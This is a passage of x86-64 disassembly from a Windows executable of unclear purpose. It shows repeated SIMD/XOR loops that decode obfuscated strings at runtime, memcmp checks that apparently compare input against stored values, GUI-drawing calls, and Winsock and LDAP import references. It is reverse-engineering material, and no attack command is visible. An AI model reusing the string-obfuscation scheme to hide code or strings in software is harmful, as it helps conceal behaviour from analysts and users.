lea rcx, [rbp + 0xbc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140092910
cmp r8d, 0x13
jge 0x140092a60
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140092a30
lea rdx, [rbp + 0xb8]
jmp 0x140092c27
xor r12d, r12d
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x140160900]
movsd qword [rbp + 0xb8], xmm0
mov eax, dword [0x140160908]
mov dword [rbp + 0xc0], eax
movzx eax, word [0x14016090c]
mov word [rbp + 0xc4], ax
movzx eax, byte [0x14016090e]
mov byte [rbp + 0xc6], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140092bdc
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160900]
xorps xmm2, xmm0
movd dword [rbp + 0xb8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xbc]
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140092bf0
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x1140]
call fcn.1400659a0
lea rcx, [rbp + 0x1140]
cmp qword [rbp + 0x1158], 0xf
cmova rcx, qword [rbp + 0x1140]
call fcn.14004f330
mov dword [rbp + 0x440], 0x42480000
mov dword [rbp + 0x444], 0x43340000
lea rcx, [rbp + 0x440]
call fcn.140025b20
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x140195288]
mov rcx, r15
call fcn.14004f330
mov dword [rbp + 0x448], 0x42480000
mov dword [rbp + 0x44c], 0x43520000
lea rcx, [rbp + 0x448]
call fcn.140025b20
mov r15, qword [rbp + 0x98]
mov rcx, r15
call fcn.140025920
mov rdx, r14
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401952a8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x140195228]
mov r8, qword [0x140195238]
cmp r8, qword [0x1401952b8]
jne 0x140092f1c
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140092f1c
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.F_QGTXYKe]
movups xmmword [rbp + 0x820], xmm0
movsd xmm0, qword [0x140160950]
movsd qword [rbp + 0x830], xmm0
movzx eax, word [0x140160958]
mov word [rbp + 0x838], ax
cmp byte [0x140160959], 0
je 0x140092f10
mov r8d, r12d
cmp esi, 2
jl 0x140092ec9
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x824]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140092dc0
cmp r8d, 0x1a
jge 0x140092f10
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140092ee0
lea rdx, [rbp + 0x820]
jmp 0x140093107
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140160928]
movups xmmword [rbp + 0x728], xmm0
mov eax, dword [0x140160938]
mov dword [rbp + 0x738], eax
movzx eax, word [0x14016093c]
mov word [rbp + 0x73c], ax
cmp byte [0x14016093d], 0
je 0x140093100
mov r8d, r12d
cmp esi, 2
jl 0x1400930b9
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x72c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140092fb0
cmp r8d, 0x16
jge 0x140093100
movsxd rax, r8d
lea r9, [rbp + 0x728]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400930d0
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0x1120]
call fcn.1400659a0
lea rcx, [rbp + 0x1120]
cmp qword [rbp + 0x1138], 0xf
cmova rcx, qword [rbp + 0x1120]
call fcn.14004f330
mov dword [rbp + 0x450], 0x42480000
mov dword [rbp + 0x454], 0x43660000
lea rcx, [rbp + 0x450]
call fcn.140025b20
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x1401952a8]
mov rcx, r14
call fcn.14004f330
mov dword [rbp + 0x458], 0x42480000
mov dword [rbp + 0x45c], 0x43820000
lea rcx, [rbp + 0x458]
call fcn.140025b20
mov rcx, r15
call fcn.140025920
lea rdi, [0x1401952c8]
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401952c8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x140195248]
cmova rax, qword [0x140195248]
mov r8, qword [0x140195258]
cmp r8, qword [0x1401952d8]
jne 0x1400933fc
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400933fc
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.Cpzf]
movups xmmword [rbp + 0x800], xmm0
movsd xmm0, qword [0x140160988]
movsd qword [rbp + 0x810], xmm0
movzx eax, word [0x140160990]
mov word [rbp + 0x818], ax
cmp byte [0x140160991], 0
je 0x1400933f0
mov r8d, r12d
cmp esi, 2
jl 0x1400933a9
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x804]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400932a0
cmp r8d, 0x1a
jge 0x1400933f0
movsxd rax, r8d
lea r9, [rbp + 0x800]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400933c0
lea rdx, [rbp + 0x800]
jmp 0x1400935e7
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140160960]
movups xmmword [rbp + 0x710], xmm0
mov eax, dword [0x140160970]
mov dword [rbp + 0x720], eax
movzx eax, word [0x140160974]
mov word [rbp + 0x724], ax
cmp byte [0x140160975], 0
je 0x1400935e0
mov r8d, r12d
cmp esi, 2
jl 0x140093599
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x714]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140093490
cmp r8d, 0x16
jge 0x1400935e0
movsxd rax, r8d
lea r9, [rbp + 0x710]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400935b0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x11d8]
call fcn.1400659a0
lea rcx, [rbp + 0x11d8]
cmp qword [rbp + 0x11f0], 0xf
cmova rcx, qword [rbp + 0x11d8]
call fcn.14004f330
mov dword [rbp + 0x460], 0x42480000
mov dword [rbp + 0x464], 0x438c0000
lea rcx, [rbp + 0x460]
call fcn.140025b20
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x1401952c8]
mov rcx, rdi
call fcn.14004f330
mov rcx, r15
call fcn.140025920
mov dword [rbp + 0x468], 0x42480000
mov dword [rbp + 0x46c], 0x439b0000
lea rcx, [rbp + 0x468]
call fcn.140025b20
mov dword [rbp + 0x470], 0x42900000
mov dword [rbp + 0x474], 0x41f00000
movaps xmm1, xmmword [0x140163290]
movaps xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401957b8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401957b0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401957a8]
xor r8d, r8d
lea rdx, [rbp + 0x470]
lea rcx, str.___Back
call fcn.14003fe10
test al, al
je 0x14009372a
mov byte [0x1401966fb], 0
mov byte [0x1401966fa], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov dword [rbp + 0x478], 0x440c0000
mov dword [rbp + 0x47c], 0x40a00000
lea rcx, [rbp + 0x478]
call fcn.140025b20
mov dword [rbp + 0x480], 0x41a00000
mov dword [rbp + 0x484], 0x41f00000
movaps xmm0, xmmword [0x140163290]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [0x140163260]
movaps xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401957d0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401957c8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401957c0]
xor r8d, r8d
lea rdx, [rbp + 0x480]
lea rcx, [0x140160b7c]
call fcn.14003fe10
test al, al
je 0x1400937ce
mov byte [reloc.WS2_32.dll_accept], 0
mov rdx, qword [rbp + 0x11f0]
cmp rdx, 0xf
jbe 0x14009381e
inc rdx
mov rcx, qword [rbp + 0x11d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140093819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140093819
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010de0c
movdqa xmm0, xmmword [0x140163160]
movdqu xmmword [rbp + 0x11e8], xmm0
mov byte [rbp + 0x11d8], 0
mov rdx, qword [rbp + 0x1138]
cmp rdx, 0xf
jbe 0x140093885
inc rdx
mov rcx, qword [rbp + 0x1120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140093880
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140093880
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010de0c
movdqa xmm0, xmmword [0x140163160]
movdqu xmmword [rbp + 0x1130], xmm0
mov byte [rbp + 0x1120], 0
mov rdx, qword [rbp + 0x1158]
cmp rdx, 0xf
jbe 0x1400938ec
inc rdx
mov rcx, qword [rbp + 0x1140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400938e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400938e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010de0c
movdqa xmm0, xmmword [0x140163160]
movdqu xmmword [rbp + 0x1150], xmm0
mov byte [rbp + 0x1140], 0
mov rdx, qword [rbp + 0x1210]
cmp rdx, 0xf
jbe 0x140093953
inc rdx
mov rcx, qword [rbp + 0x11f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009394e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009394e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010de0c
movdqa xmm0, xmmword [0x140163160]
movdqu xmmword [rbp + 0x1208], xmm0
mov byte [rbp + 0x11f8], 0
call fcn.1400159f0
mov r14d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1401966fa], 0
je 0x140095251
mov qword [rbp + 0x488], 0x43160000
lea rcx, [rbp + 0x488]
call fcn.140025b20
mov rcx, r15
call fcn.140025920
call fcn.1400195e0
mov rbx, rax
mov qword [rax + 0xf4], 0
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x490], 0x44138000
mov dword [rbp + 0x494], 0x43e60000
movsd xmm0, qword [0x140160998]
movsd qword [rbp - 0x30], xmm0
movzx ecx, word [0x1401609a0]
mov word [rbp - 0x28], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140093a27
mov byte [rbp - 0x30], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x2f], 0x31
xor byte [rbp - 0x2e], 0x32
xor byte [rbp - 0x2d], 0x33
xor byte [rbp - 0x2c], 0x34
xor byte [rbp - 0x2b], 0x35
xor byte [rbp - 0x2a], 0x36
xor byte [rbp - 0x29], 0x37
xor byte [rbp - 0x28], 0x38
xor byte [rbp - 0x27], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x490]
lea rcx, [rbp - 0x30]
call fcn.140007ee0
mov dword [rbp + 0x498], 0x42480000
mov dword [rbp + 0x49c], 0x42480000
lea rcx, [rbp + 0x498]
call fcn.140025b20
mov dword [rbp + 0x4a0], 0x43f50000
mov dword [rbp + 0x4a4], 0x43480000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x4a0]
mov r8d, 0x200
lea rdx, [0x140196840]
lea rcx, [0x140114ae4]
call fcn.14004a750
mov dword [rbp + 0x4a8], 0x42480000
mov dword [rbp + 0x4ac], 0x43870000
lea rcx, [rbp + 0x4a8]
call fcn.140025b20
mov dword [rbx + 0x94], 0x3f000000
mov dword [rbx + 0x98], 0x3f000000
movaps xmm7, xmmword [0x140163280]
mov dword [rbp + 0x4b0], 0x43700000
mov dword [rbp + 0x4b4], 0x42200000
movups xmm0, xmmword [str._T_U_SYL]
movups xmmword [rbp + 0x860], xmm0
movsd xmm0, qword [0x1401609b8]
movsd qword [rbp + 0x870], xmm0
mov eax, dword [0x1401609c0]
mov dword [rbp + 0x878], eax
cmp byte [0x1401609c3], 0
je 0x140093cc0
mov r8d, r12d
cmp r14d, 2
jl 0x140093c79
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x864]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140093b70
cmp r8d, 0x1c
jge 0x140093cc0
movsxd rax, r8d
lea r9, [rbp + 0x860]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140093c90
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401957e8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401957e0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401957d8]
xor r8d, r8d
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x860]
call fcn.14003f4d0
test al, al
je 0x1400940d6
movsd xmm0, qword [0x140160a08]
movsd qword [rbp + 0x198], xmm0
mov eax, dword [0x140160a10]
mov dword [rbp + 0x1a0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1a4], al
